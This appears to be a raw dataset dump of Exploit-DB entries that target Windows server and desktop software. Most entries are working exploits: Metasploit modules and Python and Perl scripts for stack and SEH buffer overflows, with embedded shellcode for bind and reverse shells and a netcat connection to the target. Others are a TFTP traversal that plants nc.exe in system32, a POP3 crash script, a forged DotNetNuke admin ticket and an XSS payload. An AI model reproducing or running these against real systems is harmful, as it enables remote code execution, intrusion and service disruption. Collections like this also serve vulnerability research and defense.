deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44174
Description: Disk Savvy Enterprise 10.4.18 - Stack-Based Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2018-02-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Savvy Enterprise v10.4.18',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in Disk Savvy Enterprise v10.4.18, caused by improper bounds
        checking of the request sent to the built-in server. This module
        has been tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x02\x0a\x0d\xf8",
          'Space'      => 800
        },
      'Targets'        =>
        [
          [ 'Disk Savvy Enterprise v10.4.18',
            {
              'Offset' => 124,
              'Ret'    => 0x10056d13
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 31 2017',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(9124)])

  end

  def exploit
    seh = generate_seh_record(target.ret)
    connect

    buffer = make_nops(target['Offset'])
    buffer << seh
    buffer << "\x83\xc4\x7f" * 13   #ADD esp,7fh
    buffer << "\x83\xc4\x21"        #ADD esp,21h
    buffer << "\xff\xe4"            #JMP esp
    buffer << payload.encoded
    buffer << Rex::Text.rand_text_alphanumeric(1)

    header = "\x75\x19\xba\xab"
    header << "\x03\x00\x00\x00"
    header << "\x00\x40\x00\x00"
    header << [buffer.length].pack("V")
    header << [buffer.length].pack("V")
    header << [buffer[-1].ord].pack("V")
    packet = header
    packet << buffer

    sock.put(packet)
    handler
  end
end
Exploit-DB #40869
Description: DiskBoss Enterprise 7.4.28 - 'GET' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2016-12-05
Author: vportal

Exploit:
#!/usr/bin/python
import socket,os,time

#SEH Stack Overflow in GET request 
#DiskBoss Enterprise 7.4.28
#Tested on Windows XP SP3 & Windows 7 Professional
#For educational proposes only

host = "192.168.1.20"
port = 80

#badchars \x00\x09\x0a\x0d\x20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00\x09\x0a\x0d\x20" -f python
buf =  ""
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"
buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7"
buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51"
buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04"
buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9"
buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23"
buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98"
buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97"
buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5"
buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5"
buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd"
buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b"
buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b"
buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9"
buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90"
buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8"
buf += "\xc4\x25\x3d\xe9"

#Overwrite SEH handler
stackpivot = "\x5c\x60\x04\x10" #ADD ESP,0x68 + RETN

buf_len = 5250

crash = "\x90"*20 + buf + "\x41"*(2491-20-len(buf)) + stackpivot + "\x44"*(buf_len-8-2487)

request = "GET /" + crash + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request)

s.close()

print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")
Exploit-DB #41003
Description: DiskBoss Enterprise 7.5.12 - 'POST' Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2017-01-10
Author: Wyndell Bibera

Exploit:
#!/usr/bin/python
 
# Exploit Title: DiskBoss Enterprise 7.5.12 SEH + Egghunter Buffer Overflow
# Date: 10-01-2017
# Exploit Author: Wyndell Bibera
# Software Link: http://www.diskboss.com/setups/diskbossent_setup_v7.5.12.exe
# Version: 7.5.12
# Tested on: Windows XP Professional SP3

import socket

ip = "192.168.86.150"
port = 80
 
egg = "ezggezgg"
nopslide = "\x90" * 8

# Bad characters: \x00\x09\x0a\x0d\x20
# Reverse Shell @ Port 443 - Change shellcode section accordingly
shellcode = ("\xb8\x45\x49\xe1\x98\xda\xc5\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x52\x31\x47\x12\x03\x47\x12\x83\x82\x4d\x03\x6d\xf0\xa6\x41"
"\x8e\x08\x37\x26\x06\xed\x06\x66\x7c\x66\x38\x56\xf6\x2a\xb5"
"\x1d\x5a\xde\x4e\x53\x73\xd1\xe7\xde\xa5\xdc\xf8\x73\x95\x7f"
"\x7b\x8e\xca\x5f\x42\x41\x1f\x9e\x83\xbc\xd2\xf2\x5c\xca\x41"
"\xe2\xe9\x86\x59\x89\xa2\x07\xda\x6e\x72\x29\xcb\x21\x08\x70"
"\xcb\xc0\xdd\x08\x42\xda\x02\x34\x1c\x51\xf0\xc2\x9f\xb3\xc8"
"\x2b\x33\xfa\xe4\xd9\x4d\x3b\xc2\x01\x38\x35\x30\xbf\x3b\x82"
"\x4a\x1b\xc9\x10\xec\xe8\x69\xfc\x0c\x3c\xef\x77\x02\x89\x7b"
"\xdf\x07\x0c\xaf\x54\x33\x85\x4e\xba\xb5\xdd\x74\x1e\x9d\x86"
"\x15\x07\x7b\x68\x29\x57\x24\xd5\x8f\x1c\xc9\x02\xa2\x7f\x86"
"\xe7\x8f\x7f\x56\x60\x87\x0c\x64\x2f\x33\x9a\xc4\xb8\x9d\x5d"
"\x2a\x93\x5a\xf1\xd5\x1c\x9b\xd8\x11\x48\xcb\x72\xb3\xf1\x80"
"\x82\x3c\x24\x06\xd2\x92\x97\xe7\x82\x52\x48\x80\xc8\x5c\xb7"
"\xb0\xf3\xb6\xd0\x5b\x0e\x51\x1f\x33\x46\x2d\xf7\x46\x66\x2c"
"\xb3\xce\x80\x44\xd3\x86\x1b\xf1\x4a\x83\xd7\x60\x92\x19\x92"
"\xa3\x18\xae\x63\x6d\xe9\xdb\x77\x1a\x19\x96\x25\x8d\x26\x0c"
"\x41\x51\xb4\xcb\x91\x1c\xa5\x43\xc6\x49\x1b\x9a\x82\x67\x02"
"\x34\xb0\x75\xd2\x7f\x70\xa2\x27\x81\x79\x27\x13\xa5\x69\xf1"
"\x9c\xe1\xdd\xad\xca\xbf\x8b\x0b\xa5\x71\x65\xc2\x1a\xd8\xe1"
"\x93\x50\xdb\x77\x9c\xbc\xad\x97\x2d\x69\xe8\xa8\x82\xfd\xfc"
"\xd1\xfe\x9d\x03\x08\xbb\xae\x49\x10\xea\x26\x14\xc1\xae\x2a"
"\xa7\x3c\xec\x52\x24\xb4\x8d\xa0\x34\xbd\x88\xed\xf2\x2e\xe1"
"\x7e\x97\x50\x56\x7e\xb2")
scpad = "\x90" * (2480 - len(shellcode) - len(nopslide))
shortjmp = "\xeb\x0f\x90\x90"

# Search for string 'ezgg' twice
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x65\x7a\x67\x67\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

extra = "\x90" * 9
pad = "\x90" * (5000 - len(extra) - 2496 - len(egghunter))

# POP POP RET Instruction
seh = "\x6b\xa6\x02\x10" 

buffer = (
"POST " + egg + nopslide + shellcode + scpad + shortjmp + seh + extra + egghunter + pad + " HTTP/1.1\r\n"
"Host: :192.168.86.150\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*    ;q=0.8\r\n\r\n")
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(buffer)
s.close()
Exploit-DB #18718
Description: Distinct TFTP Server 3.01 - Directory Traversal
Type: remote
Platform: windows
Date: 2012-04-08
Author: modpr0be

Exploit:
# Exploit Title: Distinct TFTP Server <= 3.01 Directory Traversal Vulnerability
# Date: April 8, 2012
# Software Link: http://www.distinct.com/index.php/downloads/index/p=ISERV
# Affected Versions: 3.01 and previous version may also affected
# Tested on: Windows XP SP3, Windows Server 2003 , Windows 7 SP1

Software Description
--------------------
Distinct Intranet Servers, which includes FTP Server, TFTP, LPD, BOOTP and NFS, bring quality server power to your network with no additional hardware investment. These servers allow you to make use of your PCs to share important services among your users. 

Vulnerability Details
---------------------
The vulnerability is caused due to improper validation to GET and PUT Request containing dot dot slash ('../') sequences, which allows attackers to read or write arbitrary files.

Attack Vector
-------------
By requesting a dot dot slash within the GET or PUT request, it is possible to retrieve operating system file such as boot.ini or upload file (errh, nc.exe?) to Windows %systemroot% (C:\WINDOWS\system32\).

Impact
------
Read and write files from remote machine.

Proof of Concept
----------------
We assume that the directory is deep enough, so you have to set a deep path on the server configuration. If a GET request followed with '../../' (dot dot slash), trying to retrieve boot.ini file, is sent to Distinct TFTP Server 3.01, the file will be retrieved successfully.

hell:~ modpr0be$ tftp -e 10.211.55.5 69
tftp> get ../../../../../../../../../../../../../boot.ini
Received 211 bytes in 0.0 seconds
tftp> 

Next, if we try to upload a file, let say Netcat (nc.exe), to Windows %systemroot% directory (C:\WINDOWS\system32\) using a PUT command, here is the result:

hell:~ modpr0be$ tftp -e 10.211.55.5 69
tftp> put /Pentest/backdoor/nc.exe ../../../../../../../../../../../../../../../Windows/system32/nc.exe
Sent 59392 bytes in 0.3 seconds
tftp>

Netcat successfully uploaded.

Another combinations:
tftp> get ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
tftp> put /Pentest/backdoor/nc.exe ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\nc.exe

Solution Status
---------------
Unavailable

Risk Factor
-----------
CVSS Base Score			= 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
    Exploitability Subscore	= 10
    Impact Subscore		= 4.9
CVSS Temporal Score		= 5.2
Overall CVSS Score		= 5.8
Risk factor			= Medium

Credits
-------
Tom Gregory from Spentera Research

References
----------
http://www.spentera.com/advisories/2012/SPN-01-2012.pdf

Disclosure Timeline
-------------------
March 28, 2012, issue discovered
March 28, 2012, vendor contacted about the issue, no response
April 9, 2012, public advisory released
Exploit-DB #25057
Description: DivX Player 2.6 - '.Skin' File Directory Traversal
Type: remote
Platform: windows
Date: 2005-01-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12332/info

DivX Player is reported prone to a directory traversal vulnerability. The issue presents itself when DPS '.dps', archive files are processed.

Ultimately an attacker may exploit this issue to save a script or executable file in an arbitrary location. This may lead to the execution of malicious code when the affected system is restarted. Alternatively, the attacker may overwrite a target file with the privileges of a user that is installing a malicious skin file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25057.dps
Exploit-DB #35399
Description: DivX Player 6.x - '.dps' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-02-28
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/46609/info

DivX Player is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

DivX Player 6.x versions are vulnerable. 

#!/usr/bin/perl

###
# Title : DivX Player 'Skins' V<=6.8.2.1 Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# Tested on : windows XP SP3 Fran�ais & Arabic
# Target :  DivX Player Version 6.8.2.1 and all Versions 6.x
###

# Note : This Exploit BOF is Special Greets to Member ' Overfolw ' From sec4ever.com

#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");

print "\n\n".                  
      "          ||========================================||\n".
	  "      ||                                        ||\n".
	  "      ||   DivX Player 'Skins' V<=6.8.2.1       ||\n".
	  "      ||      Exploit Buffer Overflow           ||\n".
	  "      ||    Created BY KedAns-Dz                ||\n".
	  "      ||   ked-h(at)hotmail(dot)com             ||\n".
	  "      ||                                        ||\n".
	  "      ||========================================||\n\n\n";
sleep(2);
print "\n";
print " [!] Please Wait Till c0de Generate...\n";
my $ked = "\x41" x 100000000 ; # Integer Overflow
my $Buf = 
"\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x7b\x4f\x39\x38\x56\x1f". # Skin index
"\xbf\xe7\x06\x45\x00\x00\x8b\x45\x00\x00".
"$ked\x3e"; # end Skin index
$file = "KedSkinX.dps"; # Evil File ( Divx.Player.Skin ) 
open (F ,">$file");
print F $Buf;
sleep (2);
print "\n [+] Creat File : $file , Succesfully ! \n";
close (F);

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
Exploit-DB #644
Description: DMS POP3 Server 1.5.3 build 37 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-11-21
Author: Reed Arvin

Exploit:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => $ARGV[1],
				    Proto    => "TCP"))
{
	print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

	sleep(1);

	print $socket "USER " . "A" x 1023;

	close $socket;

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => $ARGV[1],
					    Proto    => "TCP"))
	{
		close $socket;

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

# milw0rm.com [2004-11-21]
Exploit-DB #31465
Description: DotNetNuke 4.8.1 - Default 'ValidationKey' and 'DecriptionKey' Weak Encryption
Type: remote
Platform: windows
Date: 2008-03-21
Author: Brian Holyfield

Exploit:
source: https://www.securityfocus.com/bid/28391/info

DotNetNuke is prone to a weak encryption vulnerability.

An attacker can exploit this issue to decrypt sensitive data. Information obtained may lead to further attacks.

This issue affects DotNetNuke 4.8.1; other versions may also be affected. 

  // Step 1: Generate the two FormsAuthenticationTickets
      FormsAuthenticationTicket  ticket1 = new FormsAuthenticationTicket("admin", true, 10000);
      FormsAuthenticationTicket ticket2 = new FormsAuthenticationTicket(2, "admin", System.DateTime.Now, System.DateTime.MaxValue, true, "Registered
Users;Subscribers;Administrators");


      // Step 2: Encrypt the FormsAuthenticationTickets
      string cookie1 = ".DOTNETNUKE=" + FormsAuthentication.Encrypt(ticket1);
      string cookie2 = "portalroles=" + FormsAuthentication.Encrypt(ticket2);
Exploit-DB #16450
Description: DoubleTake/HP StorageWorks Storage Mirroring Service - Authentication Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: doubletake.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the authentication mechanism of
					NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
					was found by Titon of Bastard Labs.
			},
			'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					['CVE', '2008-1661' ],
					['OSVDB', '45924' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
					['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],
					['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 04 2008'
			))

		register_options(
			[
				Opt::RPORT(1100)
			], self.class)
	end

	def exploit

		connect

		print_status("Trying target #{target.name}...")

		header =
			"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
			"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

		xor = Rex::Encoding::Xor::Byte
		filler =  rand_text_english(1) * (target['Offset'])
		seh = generate_seh_payload(target.ret)
		buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
		sploit =  header + filler + buffercoded[0]
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #20065
Description: DrPhibez and Nitro187 Guild FTPD 0.9.7 - File Existence Disclosure
Type: remote
Platform: windows
Date: 2000-07-08
Author: Andrew Lewis

Exploit:
source: https://www.securityfocus.com/bid/1452/info

Guild Ftpd will not send files outside of the ftp root when they are specified by the ../ string in the path of the GET request. However due to the difference in the error messages it is able to determine if the file requested exists. The error message "Download failed" appears if the requested file exists and "Access denied" if it does not.

ftp> get ../filename
>PORT command successful.
>Opening ascii mode data connection for \../filename.
>Download failed.
Exploit-DB #34997
Description: DServe - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2010-11-16
Author: Axiell

Exploit:
source: https://www.securityfocus.com/bid/44881/info

DServe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/DServe/dserve.exe?&amp;amp;dsqIni=Dserve.ini&amp;amp;dsqApp=Archive&amp;amp;dsqCmd=OverSort.tcl&amp;amp;dsqDb=Catalog&amp;amp;dsqField=&lt;script&gt;alert(1)&lt;/script&gt;&amp;amp;dsqSearch=*&amp;amp;dsqNum=10
Exploit-DB #43339
Description: Dup Scout Enterprise - 'Login' Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-12-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dup Scout Enterprise Login Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Dup Scout Enterprise
        10.0.18. The buffer overflow exists via the web interface during
        login. This gives NT AUTHORITY\SYSTEM access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'sickness' # Original discovery
        ],
      'References'     =>
        [
          [ 'EDB', '43145' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
        },
      'Targets'        =>
        [
          [ 'Dup Scout Enterprise 10.0.18',
            {
              'Ret' => 0x10090c83, # jmp esp - libspp.dll
              'Offset' => 780
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Nov 14 2017',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80)])

  end

  def check
    res = send_request_cgi({
      'uri'    => '/',
      'method' => 'GET'
    })

    if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Generating exploit...")

    evil =  rand_text(target['Offset'])
    evil << [target.ret].pack('V')
    evil << make_nops(12)
    evil << payload.encoded
    evil << make_nops(10000 - evil.length)

    vprint_status("Evil length: " + evil.length.to_s)

    sploit =  "username="
    sploit << evil
    sploit << "&password="
    sploit << rand_text(evil.length)
    sploit << "\r\n"

    print_status("Triggering the exploit now...")

    res = send_request_cgi({
      'uri' => '/login',
      'method' => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'content-length' => '17000',
      'data' => sploit
    })

    handler
    disconnect

  end
end